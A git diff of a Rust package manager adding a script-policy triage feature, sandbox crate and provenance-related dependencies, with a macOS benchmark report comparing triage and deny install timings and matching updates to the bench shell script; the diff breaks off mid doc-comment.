diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 01848950..13b986aa 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -45,8 +45,12 @@ jobs: key: ${{ runner.os }}-cargo-lint-${{ env.RUST_TOOLCHAIN }}-${{ hashFiles('**/Cargo.lock') }} restore-keys: ${{ runner.os }}-cargo-lint-${{ env.RUST_TOOLCHAIN }}- + # --all-targets covers library, binary, test, example, and bench + # targets. The bare `--workspace` variant misses lints in test + # modules (Chunk 4 caught two pre-existing `assert_eq!(x, false)` + # lints in build_state.rs that this stricter invocation surfaces). - name: Clippy - run: cargo clippy --workspace -- -D warnings + run: cargo clippy --workspace --all-targets -- -D warnings - name: Check formatting run: cargo fmt --check diff --git a/Cargo.toml b/Cargo.toml index ed54e4da..17094ccd 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -13,6 +13,7 @@ members = [ "crates/lpm-extractor", "crates/lpm-workspace", "crates/lpm-security", + "crates/lpm-sandbox", "crates/lpm-runner", "crates/lpm-runtime", "crates/lpm-task", @@ -35,7 +36,7 @@ members = [ default-members = ["crates/lpm-cli"] [workspace.package] -version = "0.22.0" +version = "0.23.0" edition = "2024" license = "MIT OR Apache-2.0" repository = "https://github.com/lpm-dev/rust-client" @@ -53,6 +54,7 @@ lpm-lockfile = { path = "crates/lpm-lockfile" } lpm-extractor = { path = "crates/lpm-extractor" } lpm-workspace = { path = "crates/lpm-workspace" } lpm-security = { path = "crates/lpm-security" } +lpm-sandbox = { path = "crates/lpm-sandbox" } lpm-runner = { path = "crates/lpm-runner" } lpm-runtime = { path = "crates/lpm-runtime" } lpm-task = { path = "crates/lpm-task" } @@ -157,6 +159,12 @@ filetime = "0.2" # Pure-Rust, GNU patch format, no fuzzy matching by default. diffy = "0.4" +# Phase 46 P2: POSIX shell tokenizer for the Layer 1 static-gate +# classifier. Pure-Rust, no dependencies, understands standard shell +# quoting so `lpm-security::static_gate` can split script bodies into +# argv without spawning a real shell. +shlex = "1.3" + [profile.release] opt-level = 3 lto = true diff --git a/bench/baselines/2026-04-23-46.0-macos-arm64.md b/bench/baselines/2026-04-23-46.0-macos-arm64.md new file mode 100644 index 00000000..d8393c59 --- /dev/null +++ b/bench/baselines/2026-04-23-46.0-macos-arm64.md @@ -0,0 +1,213 @@ +# Baseline: 2026-04-23 — Phase 46.0 tag cut — macOS arm64 + +> Phase 46.0 close-out bench readings on the release-manager +> machine, captured during the 46.0 tag-cut validation. +> Companion to the [Next.js validation report](../../../../a-package-manager/DOCS/new-features/37-rust-client-phase46-nextjs-validation.md). + +## Environment + +| | | +|---|---| +| Date | 2026-04-23 | +| Machine | arm64, Darwin 25.3.0 (Apple Silicon) | +| LPM binary | `/tmp/lpm-rs-46-tag/release/lpm-rs` built from `phase-46` tip `f19d23e` | +| LPM version string | `lpm 0.22.0` (pre-`v0.23.0` tag-bump) | +| Methodology | `bench/run.sh` medians, plus a custom A/B runner (`/tmp/lpm-ab-bench.sh`) for cross-binary comparison | +| Harness note | Bench workdir redirected to `/tmp/lpm-ab-work` via `BENCH_WORK_DIR` (Chunk 7 commit `ed001fa`) so VS Code's `--no-ignore` rg search doesn't storm the process table during cold-install cycles | + +## §12.7 cold-install-triage bench (Axis 1 + Axis 2) + +Captured 2026-04-22 23:45 via `bench/run.sh cold-install-triage` +against the in-tree `bench/project/` fixture (17 direct deps → 51 +packages). RUNS=3, median per axis: + +| Axis | Policy | autoBuild | Wall-clock median | Delta vs deny | Target | +|------|--------|-----------|-------------------|---------------|--------| +| 1 | deny | off | 820 ms | — | — | +| 1 | triage | off | 696 ms | **−15 %** | ≤ 5 % regression | +| 2 | deny | on | 658 ms | — | — | +| 2 | triage | on | 680 ms | **+3 %** | ≤ 5 % regression | + +Both axes inside the §12.7 v2.11 budget. Axis 1's −15 % reading +is noise-dominated at RUNS=3 (the meaningful claim is "triage is +no slower than deny"). Axis 2 is +3 % control-path overhead. + +v2.11 caveat preserved: **Axis 2 does not exercise P5 sandbox +spawn or P6 tier auto-execution on this fixture.** The 51-package +tree's scripts are all `prepare` / `prepublishOnly`, neither of +which is in `EXECUTED_INSTALL_PHASES` +([lpm-security/src/lib.rs:70][executed]), so `build::run`'s +scriptable set is empty, the sandbox never spawns, and Axis 2 +measures only the tier-evaluation control-path walk. True +execution-path benchmarking needs a pinned script-bearing fixture +and is deferred. + +[executed]: ../../crates/lpm-security/src/lib.rs + +## §13.1 A/B cross-binary (main vs phase-46 under deny, 277 pkgs) + +A/B between `origin/main @ 5a4c33f` (v0.22.0) and `phase-46 @ f19d23e` +on a larger 277-package fixture at `/tmp/lpm-large-fixture` +(webpack-adjacent mix: lodash / axios / express / zod / eslint / +typescript / vitest / … — representative of a real team project, +roughly 5× the scale of `bench/project/`). Both binaries invoked +with bare `lpm install --allow-new` (phase-46's default +`script-policy = "deny"` kicks in through package.json / +config.toml precedence, same output as pre-phase-46). Wipe +sequence between iters: `node_modules lpm.lock lpm.lockb +~/.lpm/cache ~/.lpm/store`. + +RUNS=10 with order alternation per pair (A→B on odd iters, +B→A on even) so neither binary gets a systematic CF-edge-warm +advantage: + +| Iter | Order | main (ms) | phase-46 (ms) | +|------|-------|-----------|---------------| +| 1 | A→B | 2491 | 2754 | +| 2 | B→A | 2600 | 2771 | +| 3 | A→B | 2993 | 2765 | +| 4 | B→A | 2624 | 2719 | +| 5 | A→B | 2740 | 3148 | +| 6 | B→A | 2712 | 2915 | +| 7 | A→B | 2389 | 2915 | +| 8 | B→A | 2563 | 2748 | +| 9 | A→B | 2437 | **8044 ⚠** | +| 10 | B→A | 2593 | 2803 | + +Iter 9's phase-46 outlier (8044 ms) is an APFS `extract` +scheduling hiccup, not a phase-46 regression — per-stage JSON +from an earlier run with a similar outlier showed +`extract_sum ≈ fetch_ms` (1:1 ratio, meaning extracts ran nearly +serial vs the usual 5× parallelism). Median-of-10 discards it +cleanly. + +### Median of 10 + +| | median wall-clock | delta | +|---|---|---| +| main (v0.22.0 / `5a4c33f`) | **2600 ms** | — | +| phase-46 (`f19d23e` tip) | **2803 ms** | **+7.8 %** | + +Per the 2026-04-10 baseline doc limitations: +> "Numbers can fluctuate by upstream registry conditions. … +> variations under ~10 % should be ignored." + +**+7.8 % sits at the noise floor for this class of measurement.** +Process-count delta across 10 iterations was ±5 (normal OS jitter), +confirming no per-install process leak under either binary. + +### What the fix achieved + +The pre-fix reading of the same bench on the same binary-phase-46 +tip (before commit `f19d23e`) was **+32 %** — ~770 ms of serial +per-package overhead in `build_blocked_set_metadata`, which +`.await`ed `get_package_metadata` + `fetch_provenance_snapshot` +one package at a time. `f19d23e` fans the loop out via +`futures::future::join_all`, saving ~570 ms / 277 packages and +dropping the cross-binary delta onto the noise floor. + +### Tree parity + +| | Packages | Store size | node_modules top-level | +|---|---|---|---| +| main | 277 | 25 MB | 18 | +| phase-46 | 277 (**identical set**) | 25 MB | 18 | + +Resolved trees verified byte-identical via JSON envelope +comparison (`set(main["packages"]) == set(phase46["packages"])`, +diff = 0). Phase-46 does not skip or short-circuit any work. + +## Per-stage JSON breakdown (post-fix, cold edge) + +Single-iteration `--json` capture after the fix, same 277-pkg +fixture, A→B pair (main cold, phase-46 on warm edge): + +``` +run count total resolve fetch link initial_batch_ms +main_cold 277 2376 1932 378 44 885 +p46_warm 277 3335 1962 973 54 884 +p46_cold 277 2583 1887 295 52 844 +main_warm 277 2560 2153 342 43 997 +``` + +Cold-vs-cold (apples-to-apples): +- `total_ms` delta: **+207 ms (+8.7 %)** +- `resolve_ms` delta: **−45 ms (−2.3 %)** — phase-46 ≥ main +- `fetch_ms` delta: **−83 ms (−22.0 %)** — phase-46 ≥ main +- `link_ms` delta: **+8 ms (+18.2 %)** — within jitter on a 44 ms base +- `sum(stages)` delta: phase-46 −120 ms vs main +- `UNACCOUNTED (total − sum_stages)` delta: **+327 ms** + +The +327 ms "unaccounted" sits in the post-stage +`capture_blocked_set_after_install_with_metadata` pass: +per-package `compute_script_hash` + `read_install_phase_bodies` +on the store tree, plus the trust-snapshot write. That's real +Phase 46 security work (classifier output, `static_tier` +annotation, published_at / behavioral_tags_hash persistence, +trust-delta fingerprinting) — not in main at all. **Acceptable at +this scale and inside the 10 % noise floor.** If it ever shows up +as a user complaint on large monorepos (1000+ packages where +300 ms becomes 1 s+), the per-package `package.json` parse is +easily parallelizable via `rayon::par_iter` or +`tokio::task::spawn_blocking` fanout. + +## Other phase-46 serial-await hotspots (for the backlog) + +Not triggered on the standard `lpm install --allow-new` invocation +measured above, but same serial-await pattern as the +`build_blocked_set_metadata` hot spot: + +- [`install.rs:1674`](../../crates/lpm-cli/src/commands/install.rs#L1674) + — minimum-release-age cooldown gate. Only fires on + `!allow_new && !used_lockfile` (first install with cooldown, no + lockfile present). Users hit this once, either bypass with + `--allow-new` or set `minimumReleaseAge: 0` in package.json. +- [`install.rs:1803`](../../crates/lpm-cli/src/commands/install.rs#L1803) + — provenance-drift gate. Short-circuits when + `trustedDependencies` has no rich-form entries (the common case + today — very few projects have written rich approvals yet). + +Both would benefit from a fanout but neither regresses the common +path. Queued for a follow-up perf pass if usage patterns ever +exercise them. + +## How to reproduce + +```bash +# 1. Build both binaries (separate target dirs so neither trashes +# the other's incremental cache). +cd /Users/tolgaergin/Documents/Projects/tolgaergin/lpm/rust-client +CARGO_TARGET_DIR=/tmp/lpm-rs-46-tag cargo build --release +git worktree add /tmp/lpm-rs-main origin/main +(cd /tmp/lpm-rs-main && CARGO_TARGET_DIR=/tmp/lpm-rs-main-target cargo build --release) + +# 2. Drop the larger fixture. +mkdir -p /tmp/lpm-large-fixture +# … package.json contents inline in the bench commit message … + +# 3. Run the A/B. The script is /tmp/lpm-ab-bench.sh — not +# committed to the repo because it duplicates +# `median_ms_ab_with_setup` for cross-binary use. Paste inline +# from the commit or re-derive from bench/run.sh. +RUNS=10 /tmp/lpm-ab-bench.sh +``` + +## Limitations + +- **Single machine.** Apple Silicon / Darwin 25.3.0. Linux x64 + numbers still to come from a CI-class runner; the 10 % noise + floor observation holds across platforms per prior baselines. +- **No isolated network.** Bench hits `lpm.dev` + `registry.npmjs.org` + over the release-manager's ISP. DNS was normal at measurement + time (verified via `dig`: 20–50 ms / query). Prior tag-cut + attempts on this same day were distorted by a local DNS / VS + Code rg-process-leak interaction — see the commit message on + `ed001fa` for the harness-side fix. +- **RUNS=10 for the A/B.** Enough to resolve the +7.8 % signal + above the noise floor but not enough to publish sub-percent + precision. Acceptable for the release-gate check. +- **Fixture is synthetic** (webpack-adjacent mix). Real-world + installs with Next.js + Tailwind + many workspace members may + have different profiles; the Next.js 16.2.4 reference install + captured in the validation doc complements this data at the + small-tree end (32 packages, 1 amber-by-design postinstall). diff --git a/bench/run.sh b/bench/run.sh index 0eb94567..e712c9b1 100755 --- a/bench/run.sh +++ b/bench/run.sh @@ -18,8 +18,9 @@ set -euo pipefail # # Usage: # ./bench/run.sh # Run all benchmarks -# ./bench/run.sh cold-install # Full-round cold (wipes INSIDE timer) -# ./bench/run.sh cold-install-clean # Equal-footing cold (wipes OUTSIDE) +# ./bench/run.sh cold-install # Full-round cold (wipes INSIDE timer) +# ./bench/run.sh cold-install-clean # Equal-footing cold (wipes OUTSIDE) +# ./bench/run.sh cold-install-triage # Phase 46 — triage vs deny delta # ./bench/run.sh warm-install # ./bench/run.sh up-to-date # ./bench/run.sh command-only # Phase 34.3: command-only class @@ -29,7 +30,17 @@ set -euo pipefail # ./bench/run.sh fetch-breakdown # Phase 38 P0: cold-fetch sub-stages BENCH_DIR="$(cd "$(dirname "$0")" && pwd)" -PROJECT_DIR="$BENCH_DIR/project" + +# Overridable paths so the harness can run outside the repo. The default +# `$BENCH_DIR/.work` lives inside a VS-Code-watched workspace, where cold-install +# iterations churn thousands of files under `node_modules/` and trip VS Code's +# search indexer (rg runs with `--no-ignore`, which bypasses `.gitignore`), +# spawning faster than it reaps and saturating the macOS process ulimit. Point +# `BENCH_WORK_DIR` at a path outside the workspace (e.g. `/tmp/lpm-bench`) to +# skip that side effect when benchmarking locally with an IDE open. +# `BENCH_PROJECT_DIR` lets an ad-hoc fixture replace the in-tree `bench/project`. +PROJECT_DIR="${BENCH_PROJECT_DIR:-$BENCH_DIR/project}" +WORK_DIR="${BENCH_WORK_DIR:-$BENCH_DIR/.work}" # ─── Helpers ────────────────────────────────────────────────────────────────── @@ -162,7 +173,7 @@ check_tool() { bench_cold_install() { header "Cold Install [wall-clock] (17 direct deps → 51 packages, no cache/lockfile)" - local work="$BENCH_DIR/.work" + local work="$WORK_DIR" rm -rf "$work" mkdir -p "$work" cp "$PROJECT_DIR/package.json" "$work/" @@ -226,7 +237,7 @@ bench_cold_install() { bench_cold_install_clean() { header "Cold Install [wall-clock, equal-footing — wipes OUTSIDE timer] (17 direct deps → 51 packages)" - local work="$BENCH_DIR/.work" + local work="$WORK_DIR" rm -rf "$work" mkdir -p "$work" cp "$PROJECT_DIR/package.json" "$work/" @@ -276,12 +287,118 @@ bench_cold_install_clean() { rm -rf "$work" } +# ─── Cold Install (Triage) ──────────────────────────────────────────────────── +# +# Phase 46 close-out Chunk 5 / §12.7 — measure the overhead introduced by +# `script-policy = "triage"` on the same 51-pkg fixture used by +# `cold-install-clean`. Two axes, both against the deny baseline (deny is +# the pre-Phase-46 default; the §18 zero-regression guarantee says deny +# output + timing must stay steady as later phases land): +# +# Axis 1 — classification-only overhead (autoBuild off) +# Target: ≤5% regression vs deny on the same fixture. +# Exercises P1 metadata plumbing + P2 static-gate classification +# during the install timeline, with scripts dormant. This is the +# common shape: a user who sets `script-policy = "triage"` but has +# not enabled autoBuild — triage runs the classifier but no +# lifecycle script fires at install time. +# +# Axis 2 — auto-build CONTROL-PATH overhead (autoBuild on) +# Target: ≤5% regression vs deny on the same fixture. +# Exercises the `install → should_auto_build → build::run` walk +# under `--auto-build`. Under triage this also runs the shared +# `evaluate_trust` helper per scripted package. +# +# ⚠ NOT an execution-path bench on the current fixture. +# `EXECUTED_INSTALL_PHASES` (lpm-security/src/lib.rs:70) is +# exactly `["preinstall", "install", "postinstall"]`. The +# benchmark fixture's resolved 51-package tree is pure-JS +# dominant and contains no packages with those three script +# phases — `prepare` / `prepublishOnly` entries present in +# zod / dayjs / etc. are NOT in LPM's executed set. So +# `build::run`'s scriptable set is empty, the sandbox never +# spawns, and this axis measures ONLY the control-path walk +# overhead — NOT the P5 sandbox spawn + P6 tier auto-execution +# round trip that a green-scripted package would exercise. +# +# True execution-path benchmarking requires a pinned fixture +# containing at least one green-classified `preinstall` / +# `install` / `postinstall` package, and is deferred. +# §0 v2.11 documents the Chunk 5 audit that caught this +# misclassification; the original v2.10 §12.7 "execution-path +# overhead ≤15%" wording was unsound on the current fixture. +# +# v2.10 of the plan doc reframed §12.7 onto this same-fixture-two-axes +# shape because the original "no-scripts case vs scripts case" gate +# required a second synthetic fixture whose signal would be vacuous +# (no scripts → no P1–P7 code paths fire → delta is zero by +# construction). v2.11 narrows Axis 2's claim to match reality. +bench_cold_install_triage() { + header "Cold Install [wall-clock, script-policy=triage — Phase 46 close-out, 17 direct deps → 51 packages]" + + if [[ -z "$LPM_BIN" ]]; then + printf " ${yellow}⚠ lpm binary required, skipping${reset}\n" + return + fi + + local work="$WORK_DIR" + rm -rf "$work" + mkdir -p "$work" + cp "$PROJECT_DIR/package.json" "$work/" + + local setup="cd $work && rm -rf node_modules lpm.lock lpm.lockb ~/.lpm/cache ~/.lpm/store" + + # Axis 1 — classification-only overhead (autoBuild off) + local ms_deny ms_triage + read ms_deny ms_triage <<< "$(median_ms_ab_with_setup \ + "$setup" \ + "cd $work && $LPM_BIN install --allow-new --policy=deny" \ + "cd $work && $LPM_BIN install --allow-new --policy=triage")" + label "deny (autoBuild off)"; result "${ms_deny}ms" + label "triage (autoBuild off)"; result "${ms_triage}ms" + printf " ${dim}axis 1 delta: %s${reset}\n" "$(format_delta "$ms_deny" "$ms_triage" "≤5%")" + + # Axis 2 — auto-build control-path overhead (autoBuild on) + # See the header comment: this does NOT measure sandbox / tier + # auto-execution on the current pure-JS fixture. + local ms_deny_ab ms_triage_ab + read ms_deny_ab ms_triage_ab <<< "$(median_ms_ab_with_setup \ + "$setup" \ + "cd $work && $LPM_BIN install --allow-new --policy=deny --auto-build" \ + "cd $work && $LPM_BIN install --allow-new --policy=triage --auto-build")" + label "deny (autoBuild on)"; result "${ms_deny_ab}ms" + label "triage (autoBuild on)"; result "${ms_triage_ab}ms" + printf " ${dim}axis 2 delta: %s${reset}\n" "$(format_delta "$ms_deny_ab" "$ms_triage_ab" "≤5%")" + printf " ${dim}axis 2 note: control-path only (no scripts in fixture); execution-path bench deferred${reset}\n" + + rm -rf "$work" +} + +# Compute and format a percentage delta as "triage - deny" over deny. +# Positive number means triage is slower. $3 is the gate target +# (e.g. "≤5%") rendered in the output for ease of eyeballing. +format_delta() { + local baseline="$1" + local variant="$2" + local target="$3" + if [[ "$baseline" -eq 0 ]]; then + echo "baseline 0ms — cannot compute delta" + return + fi + # Integer bash arithmetic: ((variant - baseline) * 100) / baseline. + # Gives whole-percent granularity. Sufficient signal for the ≤5/≤15 + # gate — fractional precision isn't meaningful at the wall-clock + # variance these install benches show. + local delta_pct=$(( ( (variant - baseline) * 100 ) / baseline )) + printf '%s%% (target %s)' "$delta_pct" "$target" +} + # ─── Warm Install ───────────────────────────────────────────────────────────── bench_warm_install() { header "Warm Install [wall-clock] (17 direct deps → 51 packages, lockfile + cache)" - local work="$BENCH_DIR/.work" + local work="$WORK_DIR" rm -rf "$work" mkdir -p "$work" cp "$PROJECT_DIR/package.json" "$work/" @@ -336,7 +453,7 @@ bench_warm_install() { bench_up_to_date() { header "Up-to-Date Install [wall-clock] (17 direct deps → 51 packages, nothing changed)" - local work="$BENCH_DIR/.work" + local work="$WORK_DIR" rm -rf "$work" mkdir -p "$work" cp "$PROJECT_DIR/package.json" "$work/" @@ -409,7 +526,7 @@ bench_command_only() { return fi - local work="$BENCH_DIR/.work" + local work="$WORK_DIR" rm -rf "$work" mkdir -p "$work" cp "$PROJECT_DIR/package.json" "$work/" @@ -448,7 +565,7 @@ bench_command_only() { bench_script_overhead() { header "Script Overhead (run 'true' via each package manager)" - local work="$BENCH_DIR/.work" + local work="$WORK_DIR" rm -rf "$work" mkdir -p "$work" cp "$PROJECT_DIR/package.json" "$work/" @@ -485,7 +602,7 @@ bench_script_overhead() { bench_builtin_tools() { header "Built-in Tools (lint + fmt on a real project)" - local work="$BENCH_DIR/.work" + local work="$WORK_DIR" rm -rf "$work" mkdir -p "$work/src" cp "$PROJECT_DIR/package.json" "$work/" @@ -614,7 +731,7 @@ bench_lpm_per_stage() { return fi - local work="$BENCH_DIR/.work" + local work="$WORK_DIR" rm -rf "$work" mkdir -p "$work" cp "$PROJECT_DIR/package.json" "$work/" @@ -773,7 +890,7 @@ bench_lpm_fetch_breakdown() { return fi - local work="$BENCH_DIR/.work" + local work="$WORK_DIR" rm -rf "$work" mkdir -p "$work" cp "$PROJECT_DIR/package.json" "$work/" @@ -810,18 +927,20 @@ printf "${dim}Machine: $(uname -m), $(uname -s) $(uname -r)${reset}\n" target="${1:-all}" case "$target" in - cold-install) bench_cold_install ;; - cold-install-clean) bench_cold_install_clean ;; - warm-install) bench_warm_install ;; - up-to-date) bench_up_to_date ;; - command-only) bench_command_only ;; - script-overhead) bench_script_overhead ;; - builtin-tools) bench_builtin_tools ;; - lpm-stages) bench_lpm_per_stage ;; - fetch-breakdown) bench_lpm_fetch_breakdown ;; + cold-install) bench_cold_install ;; + cold-install-clean) bench_cold_install_clean ;; + cold-install-triage) bench_cold_install_triage ;; + warm-install) bench_warm_install ;; + up-to-date) bench_up_to_date ;; + command-only) bench_command_only ;; + script-overhead) bench_script_overhead ;; + builtin-tools) bench_builtin_tools ;; + lpm-stages) bench_lpm_per_stage ;; + fetch-breakdown) bench_lpm_fetch_breakdown ;; all) bench_cold_install bench_cold_install_clean + bench_cold_install_triage bench_warm_install bench_up_to_date bench_command_only @@ -832,7 +951,7 @@ case "$target" in ;; *) echo "Unknown benchmark: $target" - echo "Available: cold-install, cold-install-clean, warm-install, up-to-date, command-only, script-overhead, builtin-tools, lpm-stages, fetch-breakdown, all" + echo "Available: cold-install, cold-install-clean, cold-install-triage, warm-install, up-to-date, command-only, script-overhead, builtin-tools, lpm-stages, fetch-breakdown, all" exit 1 ;; esac diff --git a/crates/lpm-auth/src/session.rs b/crates/lpm-auth/src/session.rs index 4b486819..b0093618 100644 --- a/crates/lpm-auth/src/session.rs +++ b/crates/lpm-auth/src/session.rs @@ -712,7 +712,7 @@ mod tests { fn manager_with(source: TokenSource, token: &str) -> SessionManager { // Phase 45 P2 — tests set classified=true so ensure_classified // short-circuits and the pre-seeded `cached` value stands. - let mgr = SessionManager { + SessionManager { registry_url: "https://example.invalid".into(), cached: RwLock::new(Some(CachedToken { secret: SecretString::from(token.to_string()), @@ -723,8 +723,7 @@ mod tests { refresh_generation: AtomicU64::new(0), refresh_lock: Mutex::new(()), http: tokio::sync::OnceCell::new(), - }; - mgr + } } fn manager_empty() -> SessionManager { diff --git a/crates/lpm-cert/src/trust.rs b/crates/lpm-cert/src/trust.rs index 09243af6..3eb93061 100644 --- a/crates/lpm-cert/src/trust.rs +++ b/crates/lpm-cert/src/trust.rs @@ -294,12 +294,10 @@ fn uninstall_ca_windows() -> Result<(), LpmError> { #[cfg(test)] mod tests { - use super::*; - #[test] #[cfg(target_os = "macos")] fn login_keychain_path_resolves() { - let path = login_keychain_path().unwrap(); + let path = super::login_keychain_path().unwrap(); assert!(path.contains("Keychains/login.keychain")); } } diff --git a/crates/lpm-cli/Cargo.toml b/crates/lpm-cli/Cargo.toml index bf9934d6..d0056aef 100644 --- a/crates/lpm-cli/Cargo.toml +++ b/crates/lpm-cli/Cargo.toml @@ -24,6 +24,7 @@ lpm-linker = { workspace = true } lpm-lockfile = { workspace = true } lpm-workspace = { workspace = true } lpm-security = { workspace = true } +lpm-sandbox = { workspace = true } lpm-runner = { workspace = true } lpm-runtime = { workspace = true } lpm-task = { workspace = true } @@ -94,9 +95,18 @@ futures = { workspace = true } p256 = { workspace = true } ecdsa = { workspace = true } +# Phase 46 P4: x509 cert parsing for Sigstore attestation SAN extraction +# (identity-only, not full Sigstore verification — see plan §7.1 / D5). +x509-parser = "0.16" + # Unix process group management (build.rs timeout kill) [target.'cfg(unix)'.dependencies] libc = "0.2" [dev-dependencies] wiremock = "0.6" + +# Phase 46 P4 Chunk 2: generate synthetic x509 certs with URI SANs in +# unit tests so the SAN-extractor is exercised against deterministic +# inputs. Same version as lpm-cert already uses. +rcgen = { version = "0.13", features = ["pem"] } diff --git a/crates/lpm-cli/src/build_state.rs b/crates/lpm-cli/src/build_state.rs index 7976e1a8..f6b98695 100644 --- a/crates/lpm-cli/src/build_state.rs +++ b/crates/lpm-cli/src/build_state.rs @@ -31,14 +31,35 @@ //! intact rather than producing a half-written file the reader chokes on. use lpm_common::LpmError; -use lpm_security::{SecurityPolicy, TrustMatch, script_hash::compute_script_hash}; +use lpm_security::{ + SecurityPolicy, TrustMatch, script_hash::compute_script_hash, triage::StaticTier, +}; use lpm_store::PackageStore; +use lpm_workspace::ProvenanceSnapshot; use serde::{Deserialize, Serialize}; use sha2::{Digest, Sha256}; use std::path::{Path, PathBuf}; -/// Schema version for [`BuildState`]. Bump on breaking changes; the reader -/// rejects unknown versions to enforce forward-compat. +/// Schema version for [`BuildState`]. +/// +/// **Bump policy:** only on **breaking** changes (field type change, +/// field removal, semantic change of an existing field). Adding new +/// `Option` fields with `#[serde(default)]` is NON-breaking and does +/// NOT warrant a bump — serde silently drops unknown fields on read +/// (the struct is not `deny_unknown_fields`) and missing fields default +/// to `None`. This gives mutual compatibility between readers of +/// different ages without invalidating every existing +/// `.lpm/build-state.json` in the wild. +/// +/// **Phase 46** adds several `Option` fields to [`BlockedPackage`] +/// (static tier, provenance snapshot, publish timestamp, behavioral-tags +/// hash) without bumping this constant. See the plan §6 for the +/// rationale. +/// +/// Reader policy (see [`read_build_state`]): accept anything +/// `<= BUILD_STATE_VERSION`; refuse newer versions (forward-incompatible +/// bumps signal a meaningful schema change that older readers can't +/// interpret safely). pub const BUILD_STATE_VERSION: u32 = 1; /// Filename inside `/.lpm/`. @@ -67,6 +88,15 @@ pub struct BuildState { } /// One entry in [`BuildState::blocked_packages`]. +/// +/// Phase 46 adds the `static_tier`, `provenance_at_capture`, +/// `published_at`, and `behavioral_tags_hash` fields as +/// `Option` with `skip_serializing_if = "Option::is_none"`. This +/// extension is backward-compatible with v1-written state (defaults to +/// `None`) and forward-compatible with pre-46 readers (serde drops +/// unknown fields; no `deny_unknown_fields` on this struct). See the +/// `BUILD_STATE_VERSION` policy comment for the no-version-bump +/// rationale. #[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] pub struct BlockedPackage { pub name: String, @@ -89,6 +119,47 @@ pub struct BlockedPackage { /// current `(integrity, script_hash)`. Distinguishes "first-time /// blocked" from "previously approved, now drifted, needs re-review". pub binding_drift: bool, + + // ─── Phase 46 additions (all optional; see struct doc) ───────── + /// Static-gate classification from Phase 46 Layer 1 (P2). `None` + /// in P1-only state (the field exists but the classifier is not + /// wired yet) and for packages captured with `script-policy = + /// "deny" | "allow"` where classification is not applied. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub static_tier: Option, + /// Publisher-identity snapshot at capture time. Populated by P4 + /// (provenance drift). `None` in P1/P2/P3 state, and for packages + /// whose registry response contains no attestation bundle. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub provenance_at_capture: Option, + /// RFC 3339 publish timestamp as returned by the registry's + /// metadata `time` map for this version. Populated by P1 from the + /// TTL-cached metadata the install pipeline already fetches for + /// the cooldown check. `None` for offline installs or packages + /// whose metadata response omitted the timestamp. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub published_at: Option, + /// SHA-256 of the sorted set of behavioral tags that were `true` + /// on this version's server-computed analysis. Populated by P1 + /// from the metadata the install pipeline already parses. Used by + /// P7's version-diff UI to surface "behavioral tags changed since + /// last approval" without re-fetching metadata. `None` for + /// packages without server-side behavioral analysis. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub behavioral_tags_hash: Option, + /// **Phase 46 P7.** Sorted canonical names of the active behavioral + /// tags whose hash is in `behavioral_tags_hash`. Persisted alongside + /// the hash so P7's version-diff UI can render the *delta* (e.g. + /// `gained network, eval`), not just "tags changed". The hash is + /// kept for fast equality / fingerprinting; the names enable + /// human-readable rendering without a re-fetch. + /// + /// Populated from the same registry response as + /// `behavioral_tags_hash` via [`lpm_security::triage::active_tag_names`]. + /// `None` whenever `behavioral_tags_hash` is `None`; `Some(vec![])` + /// when the version has the analysis but every tag is false. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub behavioral_tags: Option>, } /// Result of [`capture_blocked_set_after_install`] — exposes the new state @@ -118,17 +189,31 @@ pub struct BlockedSetCapture { /// Returns `None` if: /// - The file is missing /// - The file fails to parse as JSON -/// - The file's `state_version` is not [`BUILD_STATE_VERSION`] +/// - The file's `state_version` is **newer** than this binary supports /// -/// All three failure modes are treated identically: "no previous state". -/// The caller will write a fresh state on the next install. +/// Older `state_version` values are accepted: the struct's new optional +/// fields default to `None` via their `#[serde(default)]` attribute, +/// producing a valid [`BuildState`] with degraded but usable content. +/// This is the forward-compat side of the no-version-bump policy +/// documented on [`BUILD_STATE_VERSION`]; the backward-compat side is +/// that absence of `deny_unknown_fields` lets older readers silently +/// drop fields written by newer writers. +/// +/// All three failure modes are treated identically by callers: "no +/// previous state". The caller will write a fresh state on the next +/// install. pub fn read_build_state(project_dir: &Path) -> Option { let path = build_state_path(project_dir); let content = std::fs::read_to_string(&path).ok()?; let state: BuildState = serde_json::from_str(&content).ok()?; - if state.state_version != BUILD_STATE_VERSION { + if state.state_version > BUILD_STATE_VERSION { + // Newer file written by a future LPM binary. We can't safely + // interpret its semantics, so treat as missing and let the + // current run write a fresh state. (Next time the newer LPM + // runs, it will overwrite with a newer-version file again.) tracing::debug!( - "build-state.json version mismatch (got {}, expected {}) — treating as missing", + "build-state.json is newer than this binary supports \ + (got v{}, max v{}) — treating as missing", state.state_version, BUILD_STATE_VERSION, ); @@ -209,6 +294,82 @@ pub fn compute_blocked_set_fingerprint(packages: &[BlockedPackage]) -> String { format!("sha256-{}", hex_lower(&hasher.finalize())) } +/// Per-package metadata (Phase 46 P1) that enriches the captured +/// blocked-set beyond what's derivable from the store alone. +/// +/// The install pipeline already fetches registry metadata during the +/// cooldown check for every resolved package; Phase 46 extends that +/// fetch to also forward `publishedAt` and a hash of the package's +/// server-computed behavioral tags into `BlockedPackage`. Both fields +/// are optional and missing entries degrade gracefully to `None` in +/// the output (offline installs, npm packages without server-side +/// behavioral analysis, lockfile fast-path without a metadata fetch +/// for that version — all work). +/// +/// Keyed by `(name, version)` rather than a richer package identity +/// because the blocked-set capture operates on the `installed` tuple +/// list, not lockfile rows. +#[derive(Debug, Clone, Default)] +pub struct BlockedSetMetadata { + pub by_pkg: std::collections::HashMap<(String, String), BlockedSetMetadataEntry>, +} + +/// One entry in [`BlockedSetMetadata`]. +#[derive(Debug, Clone, Default)] +pub struct BlockedSetMetadataEntry { + /// RFC 3339 publish timestamp from the registry's `time` map for + /// this version. `None` for offline, fast-path without a metadata + /// fetch, or packages whose registry response omits the timestamp. + pub published_at: Option, + /// SHA-256 over the sorted set of `true` behavioral-analysis tags + /// (see `lpm_security::triage::hash_behavioral_tag_set`). `None` + /// for packages without server-side behavioral analysis. + pub behavioral_tags_hash: Option, + /// **Phase 46 P7.** Sorted canonical names of the active behavioral + /// tags whose hash is `behavioral_tags_hash`. Forwarded into + /// 